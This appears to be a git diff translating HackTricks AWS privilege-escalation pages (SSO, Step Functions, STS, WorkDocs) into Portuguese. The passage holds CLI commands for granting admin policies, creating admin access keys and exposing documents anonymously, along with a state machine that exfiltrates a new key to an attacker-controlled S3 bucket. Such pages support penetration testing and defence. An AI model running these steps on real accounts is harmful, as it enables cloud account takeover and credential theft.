email to the user to reset his password, so you would need access to the users email. +Uma maneira fácil de escalar privilégios em casos como este seria ter uma permissão que permita redefinir as senhas dos usuários. Infelizmente, só é possível enviar um e-mail ao usuário para redefinir sua senha, então você precisaria de acesso ao e-mail do usuário. ### `identitystore:CreateGroupMembership` -With this permission it's possible to set a user inside a group so he will inherit all the permissions the group has. - +Com essa permissão, é possível colocar um usuário dentro de um grupo para que ele herde todas as permissões que o grupo possui. ```bash aws identitystore create-group-membership --identity-store-id --group-id --member-id UserId= ``` - ### `sso:PutInlinePolicyToPermissionSet`, `sso:ProvisionPermissionSet` -An attacker with this permission could grant extra permissions to a Permission Set that is granted to a user under his control - +Um atacante com esta permissão poderia conceder permissões extras a um Conjunto de Permissões que é concedido a um usuário sob seu controle. ```bash # Set an inline policy with admin privileges aws sso-admin put-inline-policy-to-permission-set --instance-arn --permission-set-arn --inline-policy file:///tmp/policy.yaml # Content of /tmp/policy.yaml { - "Version": "2012-10-17", - "Statement": [ - { - "Sid": "Statement1", - "Effect": "Allow", - "Action": ["*"], - "Resource": ["*"] - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "Statement1", +"Effect": "Allow", +"Action": ["*"], +"Resource": ["*"] +} +] } # Update the provisioning so the new policy is created in the account aws sso-admin provision-permission-set --instance-arn --permission-set-arn --target-type ALL_PROVISIONED_ACCOUNTS ``` - ### `sso:AttachManagedPolicyToPermissionSet`, `sso:ProvisionPermissionSet` -An attacker with this permission could grant extra permissions to a Permission Set that is granted to a user under his control - +Um atacante com essa permissão poderia conceder permissões extras a um Conjunto de Permissões que é concedido a um usuário sob seu controle. ```bash # Set AdministratorAccess policy to the permission set aws sso-admin attach-managed-policy-to-permission-set --instance-arn --permission-set-arn --managed-policy-arn "arn:aws:iam::aws:policy/AdministratorAccess" @@ -63,14 +58,12 @@ aws sso-admin attach-managed-policy-to-permission-set --instance-arn --permission-set-arn --target-type ALL_PROVISIONED_ACCOUNTS ``` - ### `sso:AttachCustomerManagedPolicyReferenceToPermissionSet`, `sso:ProvisionPermissionSet` -An attacker with this permission could grant extra permissions to a Permission Set that is granted to a user under his control. +Um atacante com essa permissão poderia conceder permissões extras a um Conjunto de Permissões que é concedido a um usuário sob seu controle. > [!WARNING] -> To abuse these permissions in this case you need to know the **name of a customer managed policy that is inside ALL the accounts** that are going to be affected. - +> Para abusar dessas permissões, neste caso, você precisa saber o **nome de uma política gerenciada pelo cliente que está dentro de TODAS as contas** que serão afetadas. ```bash # Set AdministratorAccess policy to the permission set aws sso-admin attach-customer-managed-policy-reference-to-permission-set --instance-arn --permission-set-arn --customer-managed-policy-reference @@ -78,59 +71,42 @@ aws sso-admin attach-customer-managed-policy-reference-to-permission-set --insta # Update the provisioning so the new policy is created in the account aws sso-admin provision-permission-set --instance-arn --permission-set-arn --target-type ALL_PROVISIONED_ACCOUNTS ``` - ### `sso:CreateAccountAssignment` -An attacker with this permission could give a Permission Set to a user under his control to an account. - +Um atacante com essa permissão poderia atribuir um Conjunto de Permissões a um usuário sob seu controle em uma conta. ```bash aws sso-admin create-account-assignment --instance-arn --target-id --target-type AWS_ACCOUNT --permission-set-arn --principal-type USER --principal-id ``` - ### `sso:GetRoleCredentials` -Returns the STS short-term credentials for a given role name that is assigned to the user. - +Retorna as credenciais de curto prazo do STS para um nome de função específico que está atribuído ao usuário. ``` aws sso get-role-credentials --role-name --account-id --access-token ``` - -However, you need an access token that I'm not sure how to get (TODO). +No entanto, você precisa de um token de acesso que não sei como obter (TODO). ### `sso:DetachManagedPolicyFromPermissionSet` -An attacker with this permission can remove the association between an AWS managed policy from the specified permission set. It is possible to grant more privileges via **detaching a managed policy (deny policy)**. - +Um atacante com essa permissão pode remover a associação entre uma política gerenciada da AWS e o conjunto de permissões especificado. É possível conceder mais privilégios através da **desvinculação de uma política gerenciada (política de negação)**. ```bash aws sso-admin detach-managed-policy-from-permission-set --instance-arn --permission-set-arn --managed-policy-arn ``` - ### `sso:DetachCustomerManagedPolicyReferenceFromPermissionSet` -An attacker with this permission can remove the association between a Customer managed policy from the specified permission set. It is possible to grant more privileges via **detaching a managed policy (deny policy)**. - +Um atacante com esta permissão pode remover a associação entre uma política gerenciada pelo cliente e o conjunto de permissões especificado. É possível conceder mais privilégios através da **desvinculação de uma política gerenciada (política de negação)**. ```bash aws sso-admin detach-customer-managed-policy-reference-from-permission-set --instance-arn --permission-set-arn --customer-managed-policy-reference ``` - ### `sso:DeleteInlinePolicyFromPermissionSet` -An attacker with this permission can action remove the permissions from an inline policy from the permission set. It is possible to grant **more privileges via detaching an inline policy (deny policy)**. - +Um atacante com esta permissão pode remover as permissões de uma política inline do conjunto de permissões. É possível conceder **mais privilégios ao desanexar uma política inline (política de negação)**. ```bash aws sso-admin delete-inline-policy-from-permission-set --instance-arn --permission-set-arn ``` - ### `sso:DeletePermissionBoundaryFromPermissionSet` -An attacker with this permission can remove the Permission Boundary from the permission set. It is possible to grant **more privileges by removing the restrictions on the Permission Set** given from the Permission Boundary. - +Um atacante com esta permissão pode remover o Limite de Permissão do conjunto de permissões. É possível conceder **mais privilégios ao remover as restrições do Conjunto de Permissões** dadas pelo Limite de Permissão. ```bash aws sso-admin delete-permissions-boundary-from-permission-set --instance-arn --permission-set-arn ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md index bfc3adb77..4d5d5d8a6 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md @@ -4,73 +4,66 @@ ## Step Functions -For more information about this AWS service, check: +Para mais informações sobre este serviço da AWS, consulte: {{#ref}} ../aws-services/aws-stepfunctions-enum.md {{#endref}} -### Task Resources +### Recursos de Tarefa -These privilege escalation techniques are going to require to use some AWS step function resources in order to perform the desired privilege escalation actions. +Essas técnicas de escalonamento de privilégios vão exigir o uso de alguns recursos de função de passo da AWS para realizar as ações de escalonamento de privilégios desejadas. -In order to check all the possible actions, you could go to your own AWS account select the action you would like to use and see the parameters it's using, like in: +Para verificar todas as ações possíveis, você pode ir à sua própria conta da AWS, selecionar a ação que gostaria de usar e ver os parâmetros que está utilizando, como em:
-Or you could also go to the API AWS documentation and check each action docs: +Ou você também pode ir à documentação da API da AWS e verificar a documentação de cada ação: - [**AddUserToGroup**](https://docs.aws.amazon.com/IAM/latest/APIReference/API_AddUserToGroup.html) - [**GetSecretValue**](https://docs.aws.amazon.com/secretsmanager/latest/apireference/API_GetSecretValue.html) ### `states:TestState` & `iam:PassRole` -An attacker with the **`states:TestState`** & **`iam:PassRole`** permissions can test any state and pass any IAM role to it without creating or updating an existing state machine, enabling unauthorized access to other AWS services with the roles' permissions. potentially. Combined, these permissions can lead to extensive unauthorized actions, from manipulating workflows to alter data to data breaches, resource manipulation, and privilege escalation. - +Um atacante com as permissões **`states:TestState`** & **`iam:PassRole`** pode testar qualquer estado e passar qualquer função IAM para ele sem criar ou atualizar uma máquina de estado existente, permitindo acesso não autorizado a outros serviços da AWS com as permissões da função. potencialmente. Combinadas, essas permissões podem levar a ações não autorizadas extensas, desde manipulação de fluxos de trabalho para alterar dados até vazamentos de dados, manipulação de recursos e escalonamento de privilégios. ```bash aws states test-state --definition --role-arn [--input ] [--inspection-level ] [--reveal-secrets | --no-reveal-secrets] ``` - -The following examples show how to test an state that creates an access key for the **`admin`** user leveraging these permissions and a permissive role of the AWS environment. This permissive role should have any high-privileged policy associated with it (for example **`arn:aws:iam::aws:policy/AdministratorAccess`**) that allows the state to perform the **`iam:CreateAccessKey`** action: +Os seguintes exemplos mostram como testar um estado que cria uma chave de acesso para o **`admin`** usuário aproveitando essas permissões e um papel permissivo do ambiente AWS. Este papel permissivo deve ter qualquer política de alto privilégio associada a ele (por exemplo, **`arn:aws:iam::aws:policy/AdministratorAccess`**) que permite que o estado execute a ação **`iam:CreateAccessKey`**: - **stateDefinition.json**: - ```json { - "Type": "Task", - "Parameters": { - "UserName": "admin" - }, - "Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey", - "End": true +"Type": "Task", +"Parameters": { +"UserName": "admin" +}, +"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey", +"End": true } ``` - -- **Command** executed to perform the privesc: - +- **Comando** executado para realizar o privesc: ```bash aws stepfunctions test-state --definition file://stateDefinition.json --role-arn arn:aws:iam:::role/PermissiveRole { - "output": "{ - \"AccessKey\":{ - \"AccessKeyId\":\"AKIA1A2B3C4D5E6F7G8H\", - \"CreateDate\":\"2024-07-09T16:59:11Z\", - \"SecretAccessKey\":\"1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j\", - \"Status\":\"Active\", - \"UserName\":\"admin\" - } - }", - "status": "SUCCEEDED" +"output": "{ +\"AccessKey\":{ +\"AccessKeyId\":\"AKIA1A2B3C4D5E6F7G8H\", +\"CreateDate\":\"2024-07-09T16:59:11Z\", +\"SecretAccessKey\":\"1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j\", +\"Status\":\"Active\", +\"UserName\":\"admin\" +} +}", +"status": "SUCCEEDED" } ``` - -**Potential Impact**: Unauthorized execution and manipulation of workflows and access to sensitive resources, potentially leading to significant security breaches. +**Impacto Potencial**: Execução e manipulação não autorizadas de fluxos de trabalho e acesso a recursos sensíveis, potencialmente levando a violações de segurança significativas. ### `states:CreateStateMachine` & `iam:PassRole` & (`states:StartExecution` | `states:StartSyncExecution`) -An attacker with the **`states:CreateStateMachine`**& **`iam:PassRole`** would be able to create an state machine and provide to it any IAM role, enabling unauthorized access to other AWS services with the roles' permissions. In contrast with the previous privesc technique (**`states:TestState`** & **`iam:PassRole`**), this one does not execute by itself, you will also need to have the **`states:StartExecution`** or **`states:StartSyncExecution`** permissions (**`states:StartSyncExecution`** is **not available for standard workflows**, **just to express state machines**) in order to start and execution over the state machine. - +Um atacante com **`states:CreateStateMachine`** & **`iam:PassRole`** seria capaz de criar uma máquina de estado e fornecer a ela qualquer função IAM, permitindo acesso não autorizado a outros serviços AWS com as permissões da função. Em contraste com a técnica de privesc anterior (**`states:TestState`** & **`iam:PassRole`**), esta não se executa por si só, você também precisará ter as permissões **`states:StartExecution`** ou **`states:StartSyncExecution`** (**`states:StartSyncExecution`** **não está disponível para fluxos de trabalho padrão**, **apenas para máquinas de estado expressas**) para iniciar uma execução sobre a máquina de estado. ```bash # Create a state machine aws states create-state-machine --name --definition --role-arn [--type ] [--logging-configuration ]\ @@ -82,176 +75,157 @@ aws states start-execution --state-machine-arn [--name ] [--input # Start a Synchronous Express state machine execution aws states start-sync-execution --state-machine-arn [--name ] [--input ] [--trace-header ] ``` - -The following examples show how to create an state machine that creates an access key for the **`admin`** user and exfiltrates this access key to an attacker-controlled S3 bucket, leveraging these permissions and a permissive role of the AWS environment. This permissive role should have any high-privileged policy associated with it (for example **`arn:aws:iam::aws:policy/AdministratorAccess`**) that allows the state machine to perform the **`iam:CreateAccessKey`** & **`s3:putObject`** actions. +Os seguintes exemplos mostram como criar uma máquina de estado que cria uma chave de acesso para o **`admin`** usuário e exfiltra essa chave de acesso para um bucket S3 controlado pelo atacante, aproveitando essas permissões e um papel permissivo do ambiente AWS. Esse papel permissivo deve ter qualquer política de alto privilégio associada a ele (por exemplo, **`arn:aws:iam::aws:policy/AdministratorAccess`**) que permite que a máquina de estado execute as ações **`iam:CreateAccessKey`** e **`s3:putObject`**. - **stateMachineDefinition.json**: - ```json { - "Comment": "Malicious state machine to create IAM access key and upload to S3", - "StartAt": "CreateAccessKey", - "States": { - "CreateAccessKey": { - "Type": "Task", - "Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey", - "Parameters": { - "UserName": "admin" - }, - "ResultPath": "$.AccessKeyResult", - "Next": "PrepareS3PutObject" - }, - "PrepareS3PutObject": { - "Type": "Pass", - "Parameters": { - "Body.$": "$.AccessKeyResult.AccessKey", - "Bucket": "attacker-controlled-S3-bucket", - "Key": "AccessKey.json" - }, - "ResultPath": "$.S3PutObjectParams", - "Next": "PutObject" - }, - "PutObject": { - "Type": "Task", - "Resource": "arn:aws:states:::aws-sdk:s3:putObject", - "Parameters": { - "Body.$": "$.S3PutObjectParams.Body", - "Bucket.$": "$.S3PutObjectParams.Bucket", - "Key.$": "$.S3PutObjectParams.Key" - }, - "End": true - } - } +"Comment": "Malicious state machine to create IAM access key and upload to S3", +"StartAt": "CreateAccessKey", +"States": { +"CreateAccessKey": { +"Type": "Task", +"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey", +"Parameters": { +"UserName": "admin" +}, +"ResultPath": "$.AccessKeyResult", +"Next": "PrepareS3PutObject" +}, +"PrepareS3PutObject": { +"Type": "Pass", +"Parameters": { +"Body.$": "$.AccessKeyResult.AccessKey", +"Bucket": "attacker-controlled-S3-bucket", +"Key": "AccessKey.json" +}, +"ResultPath": "$.S3PutObjectParams", +"Next": "PutObject" +}, +"PutObject": { +"Type": "Task", +"Resource": "arn:aws:states:::aws-sdk:s3:putObject", +"Parameters": { +"Body.$": "$.S3PutObjectParams.Body", +"Bucket.$": "$.S3PutObjectParams.Bucket", +"Key.$": "$.S3PutObjectParams.Key" +}, +"End": true +} +} } ``` - -- **Command** executed to **create the state machine**: - +- **Comando** executado para **criar a máquina de estados**: ```bash aws stepfunctions create-state-machine --name MaliciousStateMachine --definition file://stateMachineDefinition.json --role-arn arn:aws:iam::123456789012:role/PermissiveRole { - "stateMachineArn": "arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine", - "creationDate": "2024-07-09T20:29:35.381000+02:00" +"stateMachineArn": "arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine", +"creationDate": "2024-07-09T20:29:35.381000+02:00" } ``` - -- **Command** executed to **start an execution** of the previously created state machine: - +- **Comando** executado para **iniciar uma execução** da máquina de estados criada anteriormente: ```json aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine { - "executionArn": "arn:aws:states:us-east-1:123456789012:execution:MaliciousStateMachine:1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f", - "startDate": "2024-07-09T20:33:35.466000+02:00" +"executionArn": "arn:aws:states:us-east-1:123456789012:execution:MaliciousStateMachine:1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f", +"startDate": "2024-07-09T20:33:35.466000+02:00" } ``` - > [!WARNING] -> The attacker-controlled S3 bucket should have permissions to accept an s3:PutObject action from the victim account. +> O bucket S3 controlado pelo atacante deve ter permissões para aceitar uma ação s3:PutObject da conta da vítima. -**Potential Impact**: Unauthorized execution and manipulation of workflows and access to sensitive resources, potentially leading to significant security breaches. +**Impacto Potencial**: Execução não autorizada e manipulação de fluxos de trabalho e acesso a recursos sensíveis, potencialmente levando a violações de segurança significativas. -### `states:UpdateStateMachine` & (not always required) `iam:PassRole` +### `states:UpdateStateMachine` & (não sempre necessário) `iam:PassRole` -An attacker with the **`states:UpdateStateMachine`** permission would be able to modify the definition of an state machine, being able to add extra stealthy states that could end in a privilege escalation. This way, when a legitimate user starts an execution of the state machine, this new malicious stealth state will be executed and the privilege escalation will be successful. +Um atacante com a permissão **`states:UpdateStateMachine`** seria capaz de modificar a definição de uma máquina de estados, podendo adicionar estados extras furtivos que poderiam resultar em uma escalada de privilégios. Dessa forma, quando um usuário legítimo inicia uma execução da máquina de estados, esse novo estado furtivo malicioso será executado e a escalada de privilégios será bem-sucedida. -Depending on how permissive is the IAM Role associated to the state machine is, an attacker would face 2 situations: - -1. **Permissive IAM Role**: If the IAM Role associated to the state machine is already permissive (it has for example the **`arn:aws:iam::aws:policy/AdministratorAccess`** policy attached), then the **`iam:PassRole`** permission would not be required in order to escalate privileges since it would not be necessary to also update the IAM Role, with the state machine definition is enough. -2. **Not permissive IAM Role**: In contrast with the previous case, here an attacker would also require the **`iam:PassRole`** permission since it would be necessary to associate a permissive IAM Role to the state machine in addition to modify the state machine definition. +Dependendo de quão permissivo é o Papel IAM associado à máquina de estados, um atacante enfrentaria 2 situações: +1. **Papel IAM Permissivo**: Se o Papel IAM associado à máquina de estados já for permissivo (ele tem, por exemplo, a política **`arn:aws:iam::aws:policy/AdministratorAccess`** anexada), então a permissão **`iam:PassRole`** não seria necessária para escalar privilégios, uma vez que não seria necessário atualizar o Papel IAM, com a definição da máquina de estados sendo suficiente. +2. **Papel IAM Não Permissivo**: Em contraste com o caso anterior, aqui um atacante também precisaria da permissão **`iam:PassRole`** uma vez que seria necessário associar um Papel IAM permissivo à máquina de estados, além de modificar a definição da máquina de estados. ```bash aws states update-state-machine --state-machine-arn [--definition ] [--role-arn ] [--logging-configuration ] \ [--tracing-configuration ] [--publish | --no-publish] [--version-description ] ``` - -The following examples show how to update a legit state machine that just invokes a HelloWorld Lambda function, in order to add an extra state that adds the user **`unprivilegedUser`** to the **`administrator`** IAM Group. This way, when a legitimate user starts an execution of the updated state machine, this new malicious stealth state will be executed and the privilege escalation will be successful. +Os seguintes exemplos mostram como atualizar uma máquina de estados legítima que apenas invoca uma função Lambda HelloWorld, a fim de adicionar um estado extra que adiciona o usuário **`unprivilegedUser`** ao grupo IAM **`administrator`**. Dessa forma, quando um usuário legítimo inicia uma execução da máquina de estados atualizada, este novo estado malicioso e furtivo será executado e a escalada de privilégios será bem-sucedida. > [!WARNING] -> If the state machine does not have a permissive IAM Role associated, it would also be required the **`iam:PassRole`** permission to update the IAM Role in order to associate a permissive IAM Role (for example one with the **`arn:aws:iam::aws:policy/AdministratorAccess`** policy attached). +> Se a máquina de estados não tiver um papel IAM permissivo associado, também seria necessário a permissão **`iam:PassRole`** para atualizar o papel IAM a fim de associar um papel IAM permissivo (por exemplo, um com a política **`arn:aws:iam::aws:policy/AdministratorAccess`** anexada). {{#tabs }} {{#tab name="Legit State Machine" }} - ```json { - "Comment": "Hello world from Lambda state machine", - "StartAt": "Start PassState", - "States": { - "Start PassState": { - "Type": "Pass", - "Next": "LambdaInvoke" - }, - "LambdaInvoke": { - "Type": "Task", - "Resource": "arn:aws:states:::lambda:invoke", - "Parameters": { - "FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST" - }, - "Next": "End PassState" - }, - "End PassState": { - "Type": "Pass", - "End": true - } - } +"Comment": "Hello world from Lambda state machine", +"StartAt": "Start PassState", +"States": { +"Start PassState": { +"Type": "Pass", +"Next": "LambdaInvoke" +}, +"LambdaInvoke": { +"Type": "Task", +"Resource": "arn:aws:states:::lambda:invoke", +"Parameters": { +"FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST" +}, +"Next": "End PassState" +}, +"End PassState": { +"Type": "Pass", +"End": true +} +} } ``` - {{#endtab }} -{{#tab name="Malicious Updated State Machine" }} - +{{#tab name="Máquina de Estado Atualizada Maliciosa" }} ```json { - "Comment": "Hello world from Lambda state machine", - "StartAt": "Start PassState", - "States": { - "Start PassState": { - "Type": "Pass", - "Next": "LambdaInvoke" - }, - "LambdaInvoke": { - "Type": "Task", - "Resource": "arn:aws:states:::lambda:invoke", - "Parameters": { - "FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST" - }, - "Next": "AddUserToGroup" - }, - "AddUserToGroup": { - "Type": "Task", - "Parameters": { - "GroupName": "administrator", - "UserName": "unprivilegedUser" - }, - "Resource": "arn:aws:states:::aws-sdk:iam:addUserToGroup", - "Next": "End PassState" - }, - "End PassState": { - "Type": "Pass", - "End": true - } - } +"Comment": "Hello world from Lambda state machine", +"StartAt": "Start PassState", +"States": { +"Start PassState": { +"Type": "Pass", +"Next": "LambdaInvoke" +}, +"LambdaInvoke": { +"Type": "Task", +"Resource": "arn:aws:states:::lambda:invoke", +"Parameters": { +"FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST" +}, +"Next": "AddUserToGroup" +}, +"AddUserToGroup": { +"Type": "Task", +"Parameters": { +"GroupName": "administrator", +"UserName": "unprivilegedUser" +}, +"Resource": "arn:aws:states:::aws-sdk:iam:addUserToGroup", +"Next": "End PassState" +}, +"End PassState": { +"Type": "Pass", +"End": true +} +} } ``` - {{#endtab }} {{#endtabs }} -- **Command** executed to **update** **the legit state machine**: - +- **Comando** executado para **atualizar** **a máquina de estados legítima**: ```bash aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:HelloWorldLambda --definition file://StateMachineUpdate.json { - "updateDate": "2024-07-10T20:07:10.294000+02:00", - "revisionId": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f" +"updateDate": "2024-07-10T20:07:10.294000+02:00", +"revisionId": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f" } ``` - -**Potential Impact**: Unauthorized execution and manipulation of workflows and access to sensitive resources, potentially leading to significant security breaches. +**Impacto Potencial**: Execução e manipulação não autorizadas de fluxos de trabalho e acesso a recursos sensíveis, potencialmente levando a violações de segurança significativas. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md index 782bcc237..05eab6cf8 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md @@ -6,121 +6,101 @@ ### `sts:AssumeRole` -Every role is created with a **role trust policy**, this policy indicates **who can assume the created role**. If a role from the **same account** says that an account can assume it, it means that the account will be able to access the role (and potentially **privesc**). - -For example, the following role trust policy indicates that anyone can assume it, therefore **any user will be able to privesc** to the permissions associated with that role. +Toda função é criada com uma **política de confiança da função**, essa política indica **quem pode assumir a função criada**. Se uma função da **mesma conta** diz que uma conta pode assumí-la, isso significa que a conta poderá acessar a função (e potencialmente **privesc**). +Por exemplo, a seguinte política de confiança da função indica que qualquer um pode assumí-la, portanto **qualquer usuário poderá privesc** para as permissões associadas a essa função. ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Principal": { - "AWS": "*" - }, - "Action": "sts:AssumeRole" - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": "sts:AssumeRole" +} +] } ``` - -You can impersonate a role running: - +Você pode se passar por um papel executando: ```bash aws sts assume-role --role-arn $ROLE_ARN --role-session-name sessionname ``` - -**Potential Impact:** Privesc to the role. +**Impacto Potencial:** Privesc para o papel. > [!CAUTION] -> Note that in this case the permission `sts:AssumeRole` needs to be **indicated in the role to abuse** and not in a policy belonging to the attacker.\ -> With one exception, in order to **assume a role from a different account** the attacker account **also needs** to have the **`sts:AssumeRole`** over the role. +> Note que, neste caso, a permissão `sts:AssumeRole` precisa ser **indicada no papel a ser abusado** e não em uma política pertencente ao atacante.\ +> Com uma exceção, para **assumir um papel de uma conta diferente**, a conta do atacante **também precisa** ter o **`sts:AssumeRole`** sobre o papel. ### **`sts:GetFederationToken`** -With this permission it's possible to generate credentials to impersonate any user: - +Com esta permissão, é possível gerar credenciais para se passar por qualquer usuário: ```bash aws sts get-federation-token --name ``` - -This is how this permission can be given securely without giving access to impersonate other users: - +Esta é a maneira como essa permissão pode ser concedida de forma segura, sem dar acesso para se passar por outros usuários: ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Sid": "VisualEditor0", - "Effect": "Allow", - "Action": "sts:GetFederationToken", - "Resource": "arn:aws:sts::947247140022:federated-user/${aws:username}" - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "VisualEditor0", +"Effect": "Allow", +"Action": "sts:GetFederationToken", +"Resource": "arn:aws:sts::947247140022:federated-user/${aws:username}" +} +] } ``` - ### `sts:AssumeRoleWithSAML` -A trust policy with this role grants **users authenticated via SAML access to impersonate the role.** - -An example of a trust policy with this permission is: +Uma política de confiança com este papel concede **acesso a usuários autenticados via SAML para se passar pelo papel.** +Um exemplo de uma política de confiança com esta permissão é: ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Sid": "OneLogin", - "Effect": "Allow", - "Principal": { - "Federated": "arn:aws:iam::290594632123:saml-provider/OneLogin" - }, - "Action": "sts:AssumeRoleWithSAML", - "Condition": { - "StringEquals": { - "SAML:aud": "https://signin.aws.amazon.com/saml" - } - } - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "OneLogin", +"Effect": "Allow", +"Principal": { +"Federated": "arn:aws:iam::290594632123:saml-provider/OneLogin" +}, +"Action": "sts:AssumeRoleWithSAML", +"Condition": { +"StringEquals": { +"SAML:aud": "https://signin.aws.amazon.com/saml" +} +} +} +] } ``` - -To generate credentials to impersonate the role in general you could use something like: - +Para gerar credenciais para se passar pela função, em geral, você poderia usar algo como: ```bash aws sts assume-role-with-saml --role-arn --principal-arn ``` - -But **providers** might have their **own tools** to make this easier, like [onelogin-aws-assume-role](https://github.com/onelogin/onelogin-python-aws-assume-role): - +Mas **provedores** podem ter suas **próprias ferramentas** para facilitar isso, como [onelogin-aws-assume-role](https://github.com/onelogin/onelogin-python-aws-assume-role): ```bash onelogin-aws-assume-role --onelogin-subdomain mettle --onelogin-app-id 283740 --aws-region eu-west-1 -z 3600 ``` - -**Potential Impact:** Privesc to the role. +**Impacto Potencial:** Privesc para o papel. ### `sts:AssumeRoleWithWebIdentity` -This permission grants permission to obtain a set of temporary security credentials for **users who have been authenticated in a mobile, web application, EKS...** with a web identity provider. [Learn more here.](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRoleWithWebIdentity.html) - -For example, if an **EKS service account** should be able to **impersonate an IAM role**, it will have a token in **`/var/run/secrets/eks.amazonaws.com/serviceaccount/token`** and can **assume the role and get credentials** doing something like: +Esta permissão concede permissão para obter um conjunto de credenciais de segurança temporárias para **usuários que foram autenticados em um aplicativo móvel, web, EKS...** com um provedor de identidade da web. [Saiba mais aqui.](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRoleWithWebIdentity.html) +Por exemplo, se uma **conta de serviço EKS** deve ser capaz de **impersonar um papel IAM**, ela terá um token em **`/var/run/secrets/eks.amazonaws.com/serviceaccount/token`** e pode **assumir o papel e obter credenciais** fazendo algo como: ```bash aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/ --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token # The role name can be found in the metadata of the configuration of the pod ``` - -### Federation Abuse +### Abuso de Federação {{#ref}} ../aws-basic-information/aws-federation-abuse.md {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md index 4b1e5e7e9..7597ce792 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md @@ -2,7 +2,7 @@ ## WorkDocs -For more info about WorkDocs check: +Para mais informações sobre WorkDocs, consulte: {{#ref}} ../aws-services/aws-directory-services-workdocs-enum.md @@ -10,17 +10,14 @@ For more info about WorkDocs check: ### `workdocs:CreateUser` -Create a user inside the Directory indicated, then you will have access to both WorkDocs and AD: - +Crie um usuário dentro do Diretório indicado, então você terá acesso tanto ao WorkDocs quanto ao AD: ```bash # Create user (created inside the AD) aws workdocs create-user --username testingasd --given-name testingasd --surname testingasd --password --email-address name@directory.domain --organization-id ``` - ### `workdocs:GetDocument`, `(workdocs:`DescribeActivities`)` -The files might contain sensitive information, read them: - +Os arquivos podem conter informações sensíveis, leia-os: ```bash # Get what was created in the directory aws workdocs describe-activities --organization-id @@ -31,26 +28,19 @@ aws workdocs describe-activities --user-id "S-1-5-21-377..." # Get file (a url to access with the content will be retreived) aws workdocs get-document --document-id ``` - ### `workdocs:AddResourcePermissions` -If you don't have access to read something, you can just grant it - +Se você não tem acesso para ler algo, você pode simplesmente concedê-lo ```bash # Add permission so anyway can see the file aws workdocs add-resource-permissions --resource-id --principals Id=anonymous,Type=ANONYMOUS,Role=VIEWER ## This will give an id, the file will be acesible in: https://.awsapps.com/workdocs/index.html#/share/document/ ``` - ### `workdocs:AddUserToGroup` -You can make a user admin by setting it in the group ZOCALO_ADMIN.\ -For that follow the instructions from [https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html](https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html) - -Login with that user in workdoc and access the admin panel in `/workdocs/index.html#/admin` - -I didn't find any way to do this from the cli. - - +Você pode tornar um usuário administrador configurando-o no grupo ZOCALO_ADMIN.\ +Para isso, siga as instruções em [https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html](https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html) +Faça login com esse usuário no workdoc e acesse o painel de administração em `/workdocs/index.html#/admin` +Não encontrei nenhuma maneira de fazer isso pelo cli. diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md index 1519df70f..c4ef19353 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md +++ 